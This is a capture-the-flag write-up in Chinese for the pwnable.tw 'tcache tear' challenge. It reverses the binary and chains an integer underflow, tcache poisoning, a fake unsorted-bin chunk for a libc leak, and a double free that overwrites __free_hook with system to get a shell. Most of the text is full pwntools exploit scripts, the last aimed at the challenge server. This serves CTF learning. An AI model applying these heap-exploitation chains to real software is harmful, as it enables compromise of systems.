Pwnable.tw-tcache tear

2024-09-11

Pwnable.tw-tcache tear

Author: 堇姬Naup

analyze code

先IDA逆一波,把函數重新命名

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 choice; // rax
unsigned int free_chunk_cnt; // [rsp+Ch] [rbp-4h]

IOinit();
printf("Name:");
read_str((__int64)&unk_602060, 0x20u);
free_chunk_cnt = 0;
while ( 1 )
{
while ( 1 )
{
menu();
choice = read_choice();
if ( choice != 2 )
break;
if ( free_chunk_cnt <= 7 )
{
free(ptr);
++free_chunk_cnt;
}
}
if ( choice > 2 )
{
if ( choice == 3 )
{
info();
}
else
{
if ( choice == 4 )
exit(0);
LABEL_14:
puts("Invalid choice");
}
}
else
{
if ( choice != 1 )
goto LABEL_14;
create();
}
}
}

最多只能free 8個chunk
並且會free掉當前最新的chunk

ptr 在 bss上,並且沒有開PIE,若能任意寫掉free(ptr),就可以去free想要的地方

有以下功能

1
2
3
4
puts("  1. Malloc            ");
puts(" 2. Free ");
puts(" 3. Info ");
puts(" 4. Exit ");

create (malloc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int sub_400B14()
{
unsigned __int64 v0; // rax
int size; // [rsp+8h] [rbp-8h]

printf("Size:");
v0 = read_choice();
size = v0;
if ( v0 <= 0xFF )
{
ptr = malloc(v0);
printf("Data:");
read_str((__int64)ptr, size - 16);
LODWORD(v0) = puts("Done !");
}
return v0;
}

size不可以小於 0xFF,並且可以寫值到chunk上

info

印出 name ,位在0x602060,若能讓libc在name位置上,可以拿來leak libc

1
2
3
4
5
ssize_t sub_400B99()
{
printf("Name :");
return write(1, &unk_602060, 0x20uLL);
}

分析

沒開PIE

image
image

首先我的想法是,如果size小於16,那size - 16會變成一個超大的數字,導致heap overflow,這邊考慮可以打tcache poinsoning到free hook上寫system
之後malloc一塊寫/bin/sh,最後free

我先malloc 一塊大小為0xe
一個大小為 0x60

這樣會拿到一塊 0x20
這樣會拿到一塊 0x70

1
2
3
4
5
6
7
8
9
-------------------------- 
| 0 | 0x20 |
| 0 | 0 | <-ptr1
--------------------------
| 0 | 0x70 |
| 0 | 0 | <-ptr2
| | |
| | |
--------------------------

free 掉兩塊
接下來malloc一塊 0xe

就會拿到 0x20那塊

0xe - 0xf = -1 = 0xfffff…

1
2
3
4
5
6
7
8
9
-------------------------- 
| 0 | 0x20 |
| a * 8 | a*8 | <-ptr1
--------------------------
| a * 8 | 0x71 |
| fake chunk | 0 | <-ptr2
| | |
| | |
--------------------------
1
tcache[0x70] -> chunk 2 -> fake chunk 

並且有heap overflow,可以蓋掉fd,之後malloc兩次就可以拿到任意寫

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()

else:
REMOTE_INFO=split_nc("nc naup.com 2000")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)

def FREE():
sla(b'Your choice :',b'2')

def INFO():
sla(b'Your choice :',b'3')


### exploit

p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

MALLOC(0x60,b'aaaaa')

###
ita()

那接下來要想想如何leak libc

這邊想要利用 unsorted bin來leak libc ,但是我們只能malloc小於0xff,這邊的想法是利用任意寫改chunk fd到bss段上偽造一個大小為unsorted bin 的 fake chunk

info會印出namespace上的東西,將fake chunk fd偽造到這上面,就可以了

但是unsorted bin free要指向 data,這邊可以透過覆蓋

1
bss:0000000000602088 ptr 

也就是下個要free的位置來修改 pointer,free任意位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()

else:
REMOTE_INFO=split_nc("nc naup.com 2000")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)

def FREE():
sla(b'Your choice :',b'2')

def INFO():
sla(b'Your choice :',b'3')


### exploit

#p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

fake_chunk = p64(0)+p64(0x481)+p64(0)*5+p64(0x602060)

MALLOC(0x60,fake_chunk)

FREE()



###
ita()

吃 double free or corruption (!prev)
感覺是連下一塊都要偽造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)

def FREE():
sla(b'Your choice :',b'2')

def INFO():
sla(b'Your choice :',b'3')


### exploit

#p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'fff')
FREE()

MALLOC(0x80,b'rrr')
FREE()

next_fake_addr = name_bss - 0x10 + 0x500

aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr)

MALLOC(0xe, aaw_fake_chunk_payload)

MALLOC(0x80,b'\n')

next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21)

MALLOC(0x80,next_fake_chunk)

####

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)

MALLOC(0x60,fake_chunk)

FREE()

INFO()

rcu(b'Name :')
leaklibc = u64(rcl()[:8])
libc_offset = 0x3ebca0
libc_base = leaklibc - libc_offset

NAUPINFO('LEAK LIBC',hex(leaklibc))
NAUPINFO('LIBC BASE',hex(libc_base))

###
ita()

這樣就成功leak libc了

目前用了5個FREE
加上寫掉 free_hook的兩個free,跟觸發free_hook的一個free,剛剛好

這邊再打一輪 tcache poinsoning 到free_hook,改成system 開一個 shell

這邊chunk狀況其實有點混亂了,所以最後改打double free來寫free hook,一樣用到兩個FREE

1
tcache[0x50] -> chunk -> chunk -> chunk -> ...
1
tcache[0x50] -> chunk -> free_hook

之後malloc一塊,此時free指向該chunk data,寫上/bin/sh再來free掉就會是 system(‘/bin/sh’)

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *
from NAUP_pwn_lib import *
import time
from NAUP_filestructure_lib import *

def s(payload): return r.send(payload)
def sl(payload): return r.sendline(payload)
def sla(after, payload): return r.sendlineafter(after, payload)
def sa(after, payload): return r.sendafter(after, payload)
def rc(num): return r.recv(num)
def rcl(): return r.recvline()
def rcls(num): return r.recvlines(num)
def rcu(payload): return r.recvuntil(payload)
def ita(): return r.interactive()
def cl(): return r.close()
def tsl(): return time.sleep(0.2)

context(arch = 'amd64', os = 'linux')
REMOTE_LOCAL=input("local?(y/n):")

if REMOTE_LOCAL=="y":
r=process('./tcachetear')
debug_init()

else:
REMOTE_INFO=split_nc("nc chall.pwnable.tw 10207")

REMOTE_IP=REMOTE_INFO[0]
REMOTE_PORT=int(REMOTE_INFO[1])

r=remote(REMOTE_IP,REMOTE_PORT)

### heapIO
def MALLOC(size, data):
sla(b'Your choice :' , b'1')
sla(b'Size:' , str(size).encode())
sla(b'Data:' , data)

def FREE():
sla(b'Your choice :',b'2')

def INFO():
sla(b'Your choice :',b'3')


### exploit

#p_c(r,'b *0x400bfb')

name_bss = 0x602060

#name_payload = p64(0)+p64(0x500)

sla(b'Name:',b'aaa')

MALLOC(0xe,b'fff')
FREE()

MALLOC(0x80,b'rrr')
FREE()

next_fake_addr = name_bss - 0x10 + 0x500

aaw_fake_chunk_payload = p64(0)*3 + p64(0x91) + p64(next_fake_addr)

MALLOC(0xe, aaw_fake_chunk_payload)

MALLOC(0x80,b'\n')

next_fake_chunk = p64(0)+p64(0x21) + p64(0) * 3 + p64(0x21)

MALLOC(0x80,next_fake_chunk)

####

MALLOC(0xe,b'bbb')
FREE()

MALLOC(0x60,b'ccc')
FREE()

aaw_payload = p64(0)+p64(0)+p64(0)+p64(0x71)+p64(name_bss-0x10)

MALLOC(0xe,aaw_payload)

MALLOC(0x60,b'\n')

fake_chunk = p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)

MALLOC(0x60,fake_chunk)

FREE()

INFO()

rcu(b'Name :')
leaklibc = u64(rcl()[:8])
libc_offset = 0x3ebca0
libc_base = leaklibc - libc_offset

NAUPINFO('LEAK LIBC',hex(leaklibc))
NAUPINFO('LIBC BASE',hex(libc_base))

free_hook_libc = libc_base + 0x3ed8e8
system_libc = libc_base + 0x4f440

MALLOC(0x40,b'kkk')
FREE()
FREE()

MALLOC(0x40,p64(free_hook_libc))
MALLOC(0x40,p64(free_hook_libc))

NAUPINFO('freehook',hex(free_hook_libc))
NAUPINFO('system',hex(system_libc))
MALLOC(0x40,p64(system_libc))

MALLOC(0x30,b'/bin/sh\x00')
FREE()

###
ita()

串起了 integer overflow 、 tcache poinsoning 、double free,終於排完了

image
image